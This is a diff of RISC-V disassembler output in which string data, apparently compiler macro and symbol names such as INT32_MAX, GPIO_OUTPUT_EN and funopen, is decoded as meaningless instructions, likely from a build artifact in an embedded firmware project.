+    7df4:	6564                	flw	fs1,76(a0)
+    7df6:	6966                	flw	fs2,88(sp)
+    7df8:	656e                	flw	fa0,216(sp)
+    7dfa:	2064                	fld	fs1,192(s0)
+    7dfc:	5500                	lw	s0,40(a0)
+    7dfe:	4e49                	li	t3,18
+    7e00:	3354                	fld	fa3,160(a4)
+    7e02:	5f32                	lw	t5,44(sp)
+    7e04:	414d                	li	sp,19
+    7e06:	2058                	fld	fa4,128(s0)
+    7e08:	5f5f 4955 544e      	0x544e49555f5f
+    7e0e:	4d5f3233          	0x4d5f3233
+    7e12:	5841                	li	a6,-16
+    7e14:	5f5f 5f00 4f5f      	0x4f5f5f005f5f
+    7e1a:	5450                	lw	a2,44(s0)
+    7e1c:	4d49                	li	s10,18
+    7e1e:	5a49                	li	s4,-14
+    7e20:	5f45                	li	t5,-15
+    7e22:	455a4953          	0x455a4953
+    7e26:	5f5f 3120 5f00      	0x5f0031205f5f
+    7e2c:	6e5f 6565 5f64      	0x5f6465656e5f
+    7e32:	61686377          	0x61686377
+    7e36:	5f72                	lw	t5,60(sp)
+    7e38:	2074                	fld	fa3,192(s0)
+    7e3a:	5f00                	lw	s0,56(a4)
+    7e3c:	735f 7a69 5f65      	0x5f657a69735f
+    7e42:	0074                	addi	a3,sp,12
+    7e44:	4955                	li	s2,21
+    7e46:	544e                	lw	s0,240(sp)
+    7e48:	4c5f 4145 5453      	0x545341454c5f
+    7e4e:	4d5f3233          	0x4d5f3233
+    7e52:	5841                	li	a6,-16
+    7e54:	5f20                	lw	s0,120(a4)
+    7e56:	555f 4e49 5f54      	0x5f544e49555f
+    7e5c:	454c                	lw	a1,12(a0)
+    7e5e:	5341                	li	t1,-16
+    7e60:	3354                	fld	fa3,160(a4)
+    7e62:	5f32                	lw	t5,44(sp)
+    7e64:	414d                	li	sp,19
+    7e66:	5f58                	lw	a4,60(a4)
+    7e68:	005f 5f5f 6f6e      	0x6f6e5f5f005f
+    7e6e:	6e6e                	flw	ft8,216(sp)
+    7e70:	6c75                	lui	s8,0x1d
+    7e72:	5f6c                	lw	a1,124(a4)
+    7e74:	6c61                	lui	s8,0x18
+    7e76:	206c                	fld	fa1,192(s0)
+    7e78:	5f5f 7461 7274      	0x727474615f5f
+    7e7e:	6269                	lui	tp,0x1a
+    7e80:	7475                	lui	s0,0xffffd
+    7e82:	5f65                	li	t5,-7
+    7e84:	285f 5f28 6e5f      	0x6e5f5f28285f
+    7e8a:	756e6e6f          	jal	t3,ee5e0 <__stack_size+0xedde0>
+    7e8e:	6c6c                	flw	fa1,92(s0)
+    7e90:	5f5f 2929 4600      	0x460029295f5f
+    7e96:	555f 4c4e 534b      	0x534b4c4e555f
+    7e9c:	5359                	li	t1,-10
+    7e9e:	3420                	fld	fs0,104(s0)
+    7ea0:	4700                	lw	s0,8(a4)
+    7ea2:	4950                	lw	a2,20(a0)
+    7ea4:	554f5f4f          	0x554f5f4f
+    7ea8:	5054                	lw	a3,36(s0)
+    7eaa:	5455                	li	s0,-11
+    7eac:	455f 204e 7830      	0x7830204e455f
+    7eb2:	3830                	fld	fa2,112(s0)
+    7eb4:	5f00                	lw	s0,56(a4)
+    7eb6:	415f 4f54 494d      	0x494d4f54415f
+    7ebc:	43415f43          	fmadd.d	ft10,ft2,fs4,fs0,unknown
+    7ec0:	5f51                	li	t5,-12
+    7ec2:	4552                	lw	a0,20(sp)
+    7ec4:	204c                	fld	fa1,128(s0)
+    7ec6:	0034                	addi	a3,sp,8
+    7ec8:	5f5f 6c61 6f6c      	0x6f6c6c615f5f
+    7ece:	6c615f63          	bge	sp,t1,85ac <__stack_size+0x7dac>
+    7ed2:	6769                	lui	a4,0x1a
+    7ed4:	286e                	fld	fa6,216(sp)
+    7ed6:	2978                	fld	fa4,208(a0)
+    7ed8:	5f20                	lw	s0,120(a4)
+    7eda:	615f 7474 6972      	0x69727474615f
+    7ee0:	7562                	flw	fa0,56(sp)
+    7ee2:	6574                	flw	fa3,76(a0)
+    7ee4:	5f5f 2828 5f5f      	0x5f5f28285f5f
+    7eea:	6c61                	lui	s8,0x18
+    7eec:	6f6c                	flw	fa1,92(a4)
+    7eee:	6c615f63          	bge	sp,t1,85cc <__stack_size+0x7dcc>
+    7ef2:	6769                	lui	a4,0x1a
+    7ef4:	5f6e                	lw	t5,248(sp)
+    7ef6:	285f 2978 2929      	0x29292978285f
+    7efc:	5f00                	lw	s0,56(a4)
+    7efe:	5f54                	lw	a3,60(a4)
+    7f00:	41484357          	0x41484357
+    7f04:	2052                	fld	ft0,272(sp)
+    7f06:	4900                	lw	s0,16(a0)
+    7f08:	544e                	lw	s0,240(sp)
+    7f0a:	465f 5341 3354      	0x33545341465f
+    7f10:	5f32                	lw	t5,44(sp)
+    7f12:	494d                	li	s2,19
+    7f14:	204e                	fld	ft0,208(sp)
+    7f16:	2d28                	fld	fa0,88(a0)
+    7f18:	4e49                	li	t3,18
+    7f1a:	5f54                	lw	a3,60(a4)
+    7f1c:	4146                	lw	sp,80(sp)
+    7f1e:	32335453          	0x32335453
+    7f22:	4d5f 5841 2d20      	0x2d2058414d5f
+    7f28:	3120                	fld	fs0,96(a0)
+    7f2a:	0029                	c.nop	10
+    7f2c:	465f 5756 4952      	0x49525756465f
+    7f32:	4554                	lw	a3,12(a0)
+    7f34:	495f 5f4e 5453      	0x54535f4e495f
+    7f3a:	4552                	lw	a0,20(sp)
+    7f3c:	4d41                	li	s10,16
+    7f3e:	4f49                	li	t5,18
+    7f40:	3120                	fld	fs0,96(a0)
+    7f42:	5f00                	lw	s0,56(a4)
+    7f44:	455a4953          	0x455a4953
+    7f48:	5f54                	lw	a3,60(a4)
+    7f4a:	0020                	addi	s0,sp,8
+    7f4c:	505f 5f43 5953      	0x59535f43505f
+    7f52:	4c4d                	li	s8,19
+    7f54:	4e49                	li	t3,18
+    7f56:	414d5f4b          	fnmsub.s	ft10,fs10,fs4,fs0,unknown
+    7f5a:	2058                	fld	fa4,128(s0)
+    7f5c:	3431                	jal	7968 <__stack_size+0x7168>
+    7f5e:	5f00                	lw	s0,56(a4)
+    7f60:	495f 544e 5f38      	0x5f38544e495f
+    7f66:	5954                	lw	a3,52(a0)
+    7f68:	4550                	lw	a2,12(a0)
+    7f6a:	5f5f 7320 6769      	0x676973205f5f
+    7f70:	656e                	flw	fa0,216(sp)
+    7f72:	2064                	fld	fs1,192(s0)
+    7f74:	72616863          	bltu	sp,t1,86a4 <__stack_size+0x7ea4>
+    7f78:	5f00                	lw	s0,56(a4)
+    7f7a:	4350                	lw	a2,4(a4)
+    7f7c:	565f 4944 4153      	0x41534944565f
+    7f82:	4c42                	lw	s8,16(sp)
+    7f84:	2045                	jal	8024 <__stack_size+0x7824>
+    7f86:	0038                	addi	a4,sp,8
+    7f88:	5f5f 4347 5f43      	0x5f4343475f5f
+    7f8e:	4148                	lw	a0,4(a0)
+    7f90:	4556                	lw	a0,84(sp)
+    7f92:	535f 4e59 5f43      	0x5f434e59535f
+    7f98:	504d4f43          	fmadd.s	ft10,fs10,ft4,fa0,rmm
+    7f9c:	5241                	li	tp,-16
+    7f9e:	5f45                	li	t5,-15
+    7fa0:	4e41                	li	t3,16
+    7fa2:	5f44                	lw	s1,60(a4)
+    7fa4:	50415753          	0x50415753
+    7fa8:	345f 3120 5000      	0x50003120345f
+    7fae:	494c                	lw	a1,20(a0)
+    7fb0:	4e455f43          	fmadd.q	ft10,fa0,ft4,fs1,unknown
+    7fb4:	4f5f 4646 4553      	0x455346464f5f
+    7fba:	2054                	fld	fa3,128(s0)
+    7fbc:	7830                	flw	fa2,112(s0)
+    7fbe:	3032                	fld	ft0,296(sp)
+    7fc0:	3030                	fld	fa2,96(s0)
+    7fc2:	5f00                	lw	s0,56(a4)
+    7fc4:	685f 6469 6564      	0x65646469685f
+    7fca:	206e                	fld	ft0,216(sp)
+    7fcc:	5f5f 7461 7274      	0x727474615f5f
+    7fd2:	6269                	lui	tp,0x1a
+    7fd4:	7475                	lui	s0,0xffffd
+    7fd6:	5f65                	li	t5,-7
+    7fd8:	285f 5f28 765f      	0x765f5f28285f
+    7fde:	7369                	lui	t1,0xffffa
+    7fe0:	6269                	lui	tp,0x1a
+    7fe2:	6c69                	lui	s8,0x1a
+    7fe4:	7469                	lui	s0,0xffffa
+    7fe6:	5f79                	li	t5,-2
+    7fe8:	285f 6822 6469      	0x64696822285f
+    7fee:	6564                	flw	fs1,76(a0)
+    7ff0:	226e                	fld	ft4,216(sp)
+    7ff2:	2929                	jal	840c <__stack_size+0x7c0c>
+    7ff4:	0029                	c.nop	10
+    7ff6:	7266                	flw	ft4,120(sp)
+    7ff8:	6e65706f          	j	5f6de <__stack_size+0x5eede>
+    7ffc:	5f28                	lw	a0,120(a4)
+    7ffe:	635f 6f6f 696b      	0x696b6f6f635f
+    8004:	2c65                	jal	82bc <__stack_size+0x7abc>
+    8006:	5f5f 6e66 2029      	0x20296e665f5f
+    800c:	7566                	flw	fa0,120(sp)
     800e:	6f6e                	flw	ft10,216(sp)
-    8010:	7028                	flw	fa0,96(s0)
-    8012:	2029                	jal	801c <__stack_size+0x781c>
-    8014:	2828                	fld	fa0,80(s0)
-    8016:	2970                	fld	fa2,208(a0)
-    8018:	3e2d                	jal	7b52 <__stack_size+0x7352>
-    801a:	665f 6c69 2965      	0x29656c69665f
-    8020:	4300                	lw	s0,0(a4)
-    8022:	4948                	lw	a0,20(a0)
-    8024:	444c                	lw	a1,12(s0)
-    8026:	4d5f 5841 3420      	0x342058414d5f
-    802c:	0030                	addi	a2,sp,8
-    802e:	5f5f 4e47 4355      	0x43554e475f5f
-    8034:	505f 4552 4552      	0x45524552505f
-    803a:	5f51                	li	t5,-12
-    803c:	285f 616d 6d2c      	0x6d2c616d285f
-    8042:	2969                	jal	84dc <__stack_size+0x7cdc>
-    8044:	5f20                	lw	s0,120(a4)
-    8046:	475f 554e 5f43      	0x5f43554e475f
-    804c:	5250                	lw	a2,36(a2)
-    804e:	5245                	li	tp,-15
-    8050:	5145                	li	sp,-15
-    8052:	6d28                	flw	fa0,88(a0)
-    8054:	2c61                	jal	82ec <__stack_size+0x7aec>
-    8056:	6d20                	flw	fs0,88(a0)
-    8058:	2969                	jal	84f2 <__stack_size+0x7cf2>
-    805a:	5f00                	lw	s0,56(a4)
-    805c:	4c45                	li	s8,17
-    805e:	4449                	li	s0,18
-    8060:	4241                	li	tp,16
-    8062:	454c                	lw	a1,12(a0)
-    8064:	495f 4c4e 4e49      	0x4e494c4e495f
-    806a:	2045                	jal	810a <__stack_size+0x790a>
-    806c:	74617473          	csrrci	s0,0x746,2
-    8070:	6369                	lui	t1,0x1a
-    8072:	5f20                	lw	s0,120(a4)
-    8074:	695f 6c6e 6e69      	0x6e696c6e695f
-    807a:	5f65                	li	t5,-7
-    807c:	005f 5f5f 7468      	0x74685f5f005f
-    8082:	286c6e6f          	jal	t3,ce308 <__stack_size+0xcdb08>
-    8086:	785f 2029 5f5f      	0x5f5f2029785f
-    808c:	7362                	flw	ft6,56(sp)
-    808e:	33706177          	0x33706177
-    8092:	2832                	fld	fa6,264(sp)
-    8094:	785f 0029 535f      	0x535f0029785f
-    809a:	5359                	li	t1,-10
-    809c:	5f5f 5450 5248      	0x524854505f5f
-    80a2:	4145                	li	sp,17
-    80a4:	5444                	lw	s1,44(s0)
-    80a6:	5059                	c.li	zero,-10
-    80a8:	5345                	li	t1,-15
-    80aa:	485f 205f 5f00      	0x5f00205f485f
-    80b0:	465f 544c 3436      	0x3436544c465f
-    80b6:	4d5f 4e49 455f      	0x455f4e494d5f
-    80bc:	5058                	lw	a4,36(s0)
-    80be:	5f5f 2820 312d      	0x312d28205f5f
-    80c4:	3230                	fld	fa2,96(a2)
-    80c6:	2931                	jal	84e2 <__stack_size+0x7ce2>
-    80c8:	5f00                	lw	s0,56(a4)
-    80ca:	495f 544e 465f      	0x465f544e495f
-    80d0:	5341                	li	t1,-16
-    80d2:	3354                	fld	fa3,160(a4)
-    80d4:	5f32                	lw	t5,44(sp)
-    80d6:	5954                	lw	a3,52(a0)
-    80d8:	4550                	lw	a2,12(a0)
-    80da:	5f5f 6920 746e      	0x746e69205f5f
-    80e0:	5500                	lw	s0,40(a0)
-    80e2:	5241                	li	tp,-16
-    80e4:	5f54                	lw	a3,60(a4)
-    80e6:	4552                	lw	a0,20(sp)
-    80e8:	666f2847          	fmsub.q	fa6,ft10,ft6,fa2,rdn
-    80ec:	7366                	flw	ft6,120(sp)
-    80ee:	7465                	lui	s0,0xffff9
-    80f0:	2029                	jal	80fa <__stack_size+0x78fa>
-    80f2:	525f 4745 3233      	0x32334745525f
-    80f8:	5528                	lw	a0,104(a0)
-    80fa:	5241                	li	tp,-16
-    80fc:	5f54                	lw	a3,60(a4)
-    80fe:	4142                	lw	sp,16(sp)
-    8100:	202c4553          	0x202c4553
-    8104:	7366666f          	jal	a2,6e83a <__stack_size+0x6e03a>
-    8108:	7465                	lui	s0,0xffff9
-    810a:	0029                	c.nop	10
-    810c:	535f 5f43 5254      	0x52545f43535f
-    8112:	4341                	li	t1,16
-    8114:	5f45                	li	t5,-15
-    8116:	414e                	lw	sp,208(sp)
-    8118:	454d                	li	a0,19
-    811a:	4d5f 5841 3820      	0x382058414d5f
-    8120:	0038                	addi	a4,sp,8
-    8122:	434f4c43          	fmadd.d	fs8,ft10,fs4,fs0,rmm
-    8126:	505f534b          	fnmsub.s	ft6,ft10,ft5,fa0,unknown
-    812a:	5245                	li	tp,-15
-    812c:	535f 4345 5f20      	0x5f204345535f
-    8132:	434f4c43          	fmadd.d	fs8,ft10,fs4,fs0,rmm
-    8136:	505f534b          	fnmsub.s	ft6,ft10,ft5,fa0,unknown
-    813a:	5245                	li	tp,-15
-    813c:	535f 4345 005f      	0x5f4345535f
-    8142:	41484353          	0x41484353
-    8146:	5f52                	lw	t5,52(sp)
-    8148:	494d                	li	s2,19
-    814a:	004e                	c.slli	zero,0x13
-    814c:	4e5f 6c75 616c      	0x616c6c754e5f
-    8152:	6c62                	flw	fs8,24(sp)
-    8154:	2065                	jal	81fc <__stack_size+0x79fc>
-    8156:	6600                	flw	fs0,8(a2)
-    8158:	65706f77          	0x65706f77
-    815c:	286e                	fld	fa6,216(sp)
-    815e:	5f5f 6f63 6b6f      	0x6b6f6f635f5f
-    8164:	6569                	lui	a0,0x1a
-    8166:	5f2c                	lw	a1,120(a4)
-    8168:	665f 296e 6620      	0x6620296e665f
-    816e:	6e75                	lui	t3,0x1d
-    8170:	6e65706f          	j	5f856 <__stack_size+0x5f056>
-    8174:	5f28                	lw	a0,120(a4)
-    8176:	635f 6f6f 696b      	0x696b6f6f635f
-    817c:	2c65                	jal	8434 <__stack_size+0x7c34>
-    817e:	2820                	fld	fs0,80(s0)
-    8180:	6e69                	lui	t3,0x1a
-    8182:	2074                	fld	fa3,192(s0)
-    8184:	2a28                	fld	fa0,80(a2)
-    8186:	2829                	jal	81a0 <__stack_size+0x79a0>
-    8188:	2929                	jal	85a2 <__stack_size+0x7da2>
-    818a:	2c30                	fld	fa2,88(s0)
-    818c:	5f20                	lw	s0,120(a4)
-    818e:	665f 2c6e 2820      	0x28202c6e665f
-    8194:	7066                	flw	ft0,120(sp)
-    8196:	745f736f          	jal	t1,1000da <__stack_size+0xff8da>
-    819a:	2820                	fld	fs0,80(s0)
-    819c:	292a                	fld	fs2,136(sp)
-    819e:	2928                	fld	fa0,80(a0)
-    81a0:	3029                	jal	79aa <__stack_size+0x71aa>
-    81a2:	202c                	fld	fa1,64(s0)
-    81a4:	6928                	flw	fa0,80(a0)
-    81a6:	746e                	flw	fs0,248(sp)
-    81a8:	2820                	fld	fs0,80(s0)
-    81aa:	292a                	fld	fs2,136(sp)
-    81ac:	2928                	fld	fa0,80(a0)
-    81ae:	3029                	jal	79b8 <__stack_size+0x71b8>
-    81b0:	0029                	c.nop	10
-    81b2:	52495f53          	0x52495f53
-    81b6:	20475857          	0x20475857
-    81ba:	5328                	lw	a0,96(a4)
-    81bc:	495f 4752 5052      	0x50524752495f
-    81c2:	7c20                	flw	fs0,120(s0)
-    81c4:	5320                	lw	s0,96(a4)
-    81c6:	495f 4757 5052      	0x50524757495f
-    81cc:	7c20                	flw	fs0,120(s0)
-    81ce:	5320                	lw	s0,96(a4)
-    81d0:	495f 4758 5052      	0x50524758495f
-    81d6:	0029                	c.nop	10
-    81d8:	49445f4f          	fnmadd.s	ft10,fs0,fs4,fs1,unknown
-    81dc:	4552                	lw	a0,20(sp)
-    81de:	524f5443          	fmadd.d	fs0,ft10,ft4,fa0,unknown
-    81e2:	2059                	jal	8268 <__stack_size+0x7a68>
-    81e4:	465f 4944 4552      	0x45524944465f
-    81ea:	524f5443          	fmadd.d	fs0,ft10,ft4,fa0,unknown
-    81ee:	0059                	c.nop	22
-    81f0:	4e5f 544f 5248      	0x5248544f4e5f
-    81f6:	0020574f          	fnmadd.s	fa4,ft0,ft2,ft0,unknown
-    81fa:	5f5f 4343 535f      	0x535f43435f5f
-    8200:	5055                	c.li	zero,-11
-    8202:	4f50                	lw	a2,28(a4)
-    8204:	5452                	lw	s0,52(sp)
-    8206:	5f5f5f53          	0x5f5f5f53
-    820a:	4e49                	li	t3,18
-    820c:	494c                	lw	a1,20(a0)
-    820e:	454e                	lw	a0,208(sp)
-    8210:	5f5f 3120 5f00      	0x5f0031205f5f
-    8216:	4f46                	lw	t5,80(sp)
-    8218:	4550                	lw	a2,12(a0)
-    821a:	204e                	fld	ft0,208(sp)
-    821c:	2d28                	fld	fa0,88(a0)
-    821e:	2931                	jal	863a <__stack_size+0x7e3a>
-    8220:	5f00                	lw	s0,56(a4)
-    8222:	6f647473          	csrrci	s0,0x6f6,8
-    8226:	7475                	lui	s0,0xffffd
-    8228:	725f 7828 2029      	0x20297828725f
-    822e:	2828                	fld	fa0,80(s0)
-    8230:	2978                	fld	fa4,208(a0)
-    8232:	3e2d                	jal	7d6c <__stack_size+0x756c>
-    8234:	735f 6474 756f      	0x756f6474735f
-    823a:	2974                	fld	fa3,208(a0)
-    823c:	4700                	lw	s0,8(a4)
-    823e:	4950                	lw	a2,20(a0)
-    8240:	4e495f4f          	fnmadd.q	ft10,fs2,ft4,fs1,unknown
-    8244:	5550                	lw	a2,44(a0)
-    8246:	5f54                	lw	a3,60(a4)
-    8248:	4e45                	li	t3,17
-    824a:	3020                	fld	fs0,96(s0)
-    824c:	3078                	fld	fa4,224(s0)
-    824e:	0034                	addi	a3,sp,8
-    8250:	555f 4449 545f      	0x545f4449555f
-    8256:	445f 4345 414c      	0x414c4345445f
-    825c:	4552                	lw	a0,20(sp)
-    825e:	2044                	fld	fs1,128(s0)
-    8260:	5f00                	lw	s0,56(a4)
-    8262:	545f4353          	0x545f4353
-    8266:	4d49                	li	s10,18
-    8268:	4f45                	li	t5,17
-    826a:	5455                	li	s0,-11
-    826c:	32382053          	0x32382053
-    8270:	7300                	flw	fs0,32(a4)
-    8272:	7274                	flw	fa3,100(a2)
-    8274:	00797063          	bgeu	s2,t2,8274 <__stack_size+0x7a74>
-    8278:	4c4c4f43          	0x4c4c4f43
-    827c:	575f 4945 4847      	0x48474945575f
-    8282:	5354                	lw	a3,36(a4)
-    8284:	4d5f 5841 3020      	0x302058414d5f
-    828a:	5f00                	lw	s0,56(a4)
-    828c:	475f4353          	0x475f4353
-    8290:	5445                	li	s0,-15
-    8292:	5750                	lw	a2,44(a4)
-    8294:	525f 535f 5a49      	0x5a49535f525f
-    829a:	5f45                	li	t5,-15
-    829c:	414d                	li	sp,19
-    829e:	2058                	fld	fa4,128(s0)
-    82a0:	3135                	jal	7ecc <__stack_size+0x76cc>
-    82a2:	5f00                	lw	s0,56(a4)
-    82a4:	4552                	lw	a0,20(sp)
-    82a6:	4e45                	li	t3,17
-    82a8:	5f54                	lw	a3,60(a4)
-    82aa:	4e49                	li	t3,18
-    82ac:	5449                	li	s0,-14
-    82ae:	415f 4554 4958      	0x49584554415f
-    82b4:	2054                	fld	fa3,128(s0)
-    82b6:	4e5f 4c55 2c4c      	0x2c4c4c554e5f
-    82bc:	5f20                	lw	s0,120(a4)
-    82be:	5441                	li	s0,-16
-    82c0:	5845                	li	a6,-15
-    82c2:	5449                	li	s0,-14
-    82c4:	495f 494e 2c54      	0x2c54494e495f
-    82ca:	5f00                	lw	s0,56(a4)
-    82cc:	4552                	lw	a0,20(sp)
-    82ce:	4e45                	li	t3,17
-    82d0:	5f54                	lw	a3,60(a4)
-    82d2:	4e474953          	0x4e474953
-    82d6:	4c41                	li	s8,16
-    82d8:	535f 5a49 2045      	0x20455a49535f
-    82de:	3432                	fld	fs0,296(sp)
-    82e0:	5f00                	lw	s0,56(a4)
-    82e2:	5f535953          	0x5f535953
-    82e6:	4552                	lw	a0,20(sp)
-    82e8:	4e45                	li	t3,17
-    82ea:	5f54                	lw	a3,60(a4)
-    82ec:	5f48                	lw	a0,60(a4)
-    82ee:	0020                	addi	s0,sp,8
-    82f0:	5f5f 4c46 3354      	0x33544c465f5f
-    82f6:	5832                	lw	a6,44(sp)
-    82f8:	4d5f 4e49 455f      	0x455f4e494d5f
-    82fe:	5058                	lw	a4,36(s0)
-    8300:	5f5f 2820 312d      	0x312d28205f5f
-    8306:	3230                	fld	fa2,96(a2)
-    8308:	2931                	jal	8724 <__stack_size+0x7f24>
-    830a:	4600                	lw	s0,8(a2)
-    830c:	5f44                	lw	s1,60(a4)
-    830e:	53544553          	0x53544553
-    8312:	5a49                	li	s4,-14
-    8314:	2045                	jal	83b4 <__stack_size+0x7bb4>
-    8316:	3436                	fld	fs0,360(sp)
-    8318:	4300                	lw	s0,0(a4)
-    831a:	4d5f5253          	0x4d5f5253
-    831e:	4c435943          	0x4c435943
-    8322:	4845                	li	a6,17
-    8324:	3120                	fld	fs0,96(a0)
-    8326:	425f0037          	lui	zero,0x425f0
-    832a:	505f4453          	0x505f4453
-    832e:	5254                	lw	a3,36(a2)
-    8330:	4944                	lw	s1,20(a0)
-    8332:	4646                	lw	a2,80(sp)
-    8334:	545f 205f 5f00      	0x5f00205f545f
-    833a:	575f 4843 5241      	0x52414843575f
-    8340:	545f 0020 5f5f      	0x5f5f0020545f
-    8346:	4244                	lw	s1,4(a2)
-    8348:	5f4c                	lw	a1,60(a4)
-    834a:	4944                	lw	s1,20(a0)
-    834c:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
-    8350:	3531                	jal	815c <__stack_size+0x795c>
-    8352:	5f00                	lw	s0,56(a4)
-    8354:	435f 5f43 5553      	0x55535f43435f
-    835a:	5050                	lw	a2,36(s0)
-    835c:	5354524f          	fnmadd.d	ft4,fs0,fs5,fa0,unknown
-    8360:	5f5f 465f 4e55      	0x4e55465f5f5f
-    8366:	205f5f43          	fmadd.s	ft10,ft10,ft5,ft4,unknown
-    836a:	0031                	c.nop	12
-    836c:	434f4c43          	fmadd.d	fs8,ft10,fs4,fs0,rmm
-    8370:	45525f4b          	0x45525f4b
-    8374:	4c41                	li	s8,16
-    8376:	4954                	lw	a3,20(a0)
-    8378:	454d                	li	a0,19
-    837a:	2820                	fld	fs0,80(s0)
-    837c:	6328                	flw	fa0,64(a4)
-    837e:	6f6c                	flw	fa1,92(a4)
-    8380:	64696b63          	bltu	s2,t1,89d6 <__stack_size+0x81d6>
-    8384:	745f 2029 2931      	0x29312029745f
-    838a:	5f00                	lw	s0,56(a4)
-    838c:	6c5f 636f 5f6b      	0x5f6b636f6c5f
-    8392:	6361                	lui	t1,0x18
-    8394:	7571                	lui	a0,0xffffc
-    8396:	7269                	lui	tp,0xffffa
-    8398:	5f65                	li	t5,-7
-    839a:	6572                	flw	fa0,28(sp)
-    839c:	73727563          	bgeu	tp,s7,8ac6 <__stack_size+0x82c6>
-    83a0:	7669                	lui	a2,0xffffa
-    83a2:	2865                	jal	845a <__stack_size+0x7c5a>
-    83a4:	6f6c                	flw	fa1,92(a4)
-    83a6:	20296b63          	bltu	s2,sp,85bc <__stack_size+0x7dbc>
-    83aa:	2828                	fld	fa0,80(s0)
-    83ac:	6f76                	flw	ft10,92(sp)
-    83ae:	6469                	lui	s0,0x1a
-    83b0:	2029                	jal	83ba <__stack_size+0x7bba>
-    83b2:	2930                	fld	fa2,80(a0)
-    83b4:	5f00                	lw	s0,56(a4)
-    83b6:	755f 635f 6168      	0x6168635f755f
-    83bc:	5f72                	lw	t5,60(sp)
-    83be:	6564                	flw	fs1,76(a0)
-    83c0:	6966                	flw	fs2,88(sp)
-    83c2:	656e                	flw	fa0,216(sp)
-    83c4:	2064                	fld	fs1,192(s0)
-    83c6:	5000                	lw	s0,32(s0)
-    83c8:	435f4d57          	0x435f4d57
-    83cc:	4746                	lw	a4,80(sp)
-    83ce:	5a5f 5245 434f      	0x434f52455a5f
-    83d4:	504d                	c.li	zero,-13
-    83d6:	3020                	fld	fs0,96(s0)
-    83d8:	3078                	fld	fa4,224(s0)
-    83da:	3030                	fld	fa2,96(s0)
-    83dc:	3030                	fld	fa2,96(s0)
-    83de:	3032                	fld	ft0,296(sp)
-    83e0:	0030                	addi	a2,sp,8
-    83e2:	505f 534f 5849      	0x5849534f505f
-    83e8:	535f 554f 4352      	0x4352554f535f
-    83ee:	2045                	jal	848e <__stack_size+0x7c8e>
+    8010:	6570                	flw	fa2,76(a0)
+    8012:	286e                	fld	fa6,216(sp)
+    8014:	5f5f 6f63 6b6f      	0x6b6f6f635f5f
+    801a:	6569                	lui	a0,0x1a
+    801c:	202c                	fld	fa1,64(s0)
+    801e:	5f5f 6e66 202c      	0x202c6e665f5f
+    8024:	6928                	flw	fa0,80(a0)
+    8026:	746e                	flw	fs0,248(sp)
+    8028:	2820                	fld	fs0,80(s0)
+    802a:	292a                	fld	fs2,136(sp)
+    802c:	2928                	fld	fa0,80(a0)
+    802e:	3029                	jal	7838 <__stack_size+0x7038>
+    8030:	202c                	fld	fa1,64(s0)
+    8032:	6628                	flw	fa0,72(a2)
+    8034:	6f70                	flw	fa2,92(a4)
+    8036:	20745f73          	csrrwi	t5,0x207,8
+    803a:	2a28                	fld	fa0,80(a2)
+    803c:	2829                	jal	8056 <__stack_size+0x7856>
+    803e:	2929                	jal	8458 <__stack_size+0x7c58>
+    8040:	2c30                	fld	fa2,88(s0)
+    8042:	2820                	fld	fs0,80(s0)
+    8044:	6e69                	lui	t3,0x1a
+    8046:	2074                	fld	fa3,192(s0)
+    8048:	2a28                	fld	fa0,80(a2)
+    804a:	2829                	jal	8064 <__stack_size+0x7864>
+    804c:	2929                	jal	8466 <__stack_size+0x7c66>
+    804e:	2930                	fld	fa2,80(a0)
+    8050:	5f00                	lw	s0,56(a4)
+    8052:	44445453          	0x44445453
+    8056:	4645                	li	a2,17
+    8058:	485f 205f 5800      	0x5800205f485f
+    805e:	4f5f 204b 0031      	0x31204b4f5f
+    8064:	415f 4654 4c49      	0x4c494654415f
+    806a:	5f45                	li	t5,-15
+    806c:	52554f53          	0x52554f53
+    8070:	31204543          	fmadd.s	fa0,ft0,fs2,ft6,rmm
+    8074:	4700                	lw	s0,8(a4)
+    8076:	4950                	lw	a2,20(a0)
+    8078:	41425f4f          	fnmadd.s	ft10,ft4,fs4,fs0,unknown
+    807c:	30204553          	0x30204553
+    8080:	3178                	fld	fa4,224(a0)
+    8082:	3030                	fld	fa2,96(s0)
+    8084:	3231                	jal	7990 <__stack_size+0x7190>
+    8086:	3030                	fld	fa2,96(s0)
+    8088:	0030                	addi	a2,sp,8
+    808a:	5f5f 6673 6c69      	0x6c6966735f5f
+    8090:	6e65                	lui	t3,0x19
+    8092:	2970286f          	jal	a6,ab28 <__stack_size+0xa328>
+    8096:	2820                	fld	fs0,80(s0)
+    8098:	7028                	flw	fa0,96(s0)
+    809a:	2d29                	jal	86b4 <__stack_size+0x7eb4>
+    809c:	5f3e                	lw	t5,236(sp)
+    809e:	6966                	flw	fs2,88(sp)
+    80a0:	656c                	flw	fa1,76(a0)
+    80a2:	0029                	c.nop	10
+    80a4:	4c494843          	0x4c494843
+    80a8:	5f44                	lw	s1,60(a4)
+    80aa:	414d                	li	sp,19
+    80ac:	2058                	fld	fa4,128(s0)
+    80ae:	3034                	fld	fa3,96(s0)
+    80b0:	5f00                	lw	s0,56(a4)
+    80b2:	475f 554e 5f43      	0x5f43554e475f
+    80b8:	5250                	lw	a2,36(a2)
+    80ba:	5245                	li	tp,-15
+    80bc:	5145                	li	sp,-15
+    80be:	5f5f 6d28 2c61      	0x2c616d285f5f
+    80c4:	696d                	lui	s2,0x1b
+    80c6:	2029                	jal	80d0 <__stack_size+0x78d0>
+    80c8:	5f5f 4e47 4355      	0x43554e475f5f
+    80ce:	505f 4552 4552      	0x45524552505f
+    80d4:	2851                	jal	8168 <__stack_size+0x7968>
+    80d6:	616d                	addi	sp,sp,240
+    80d8:	202c                	fld	fa1,64(s0)
+    80da:	696d                	lui	s2,0x1b
+    80dc:	0029                	c.nop	10
+    80de:	455f 494c 4144      	0x4144494c455f
+    80e4:	4c42                	lw	s8,16(sp)
+    80e6:	5f45                	li	t5,-15
+    80e8:	4e49                	li	t3,18
+    80ea:	494c                	lw	a1,20(a0)
+    80ec:	454e                	lw	a0,208(sp)
+    80ee:	7320                	flw	fs0,96(a4)
+    80f0:	6174                	flw	fa3,68(a0)
+    80f2:	6974                	flw	fa3,84(a0)
+    80f4:	5f5f2063          	0x5f5f2063
+    80f8:	6e69                	lui	t3,0x1a
+    80fa:	696c                	flw	fa1,84(a0)
+    80fc:	656e                	flw	fa0,216(sp)
+    80fe:	5f5f 5f00 685f      	0x685f5f005f5f
+    8104:	6f74                	flw	fa3,92(a4)
+    8106:	6c6e                	flw	fs8,216(sp)
+    8108:	5f28                	lw	a0,120(a4)
+    810a:	2978                	fld	fa4,208(a0)
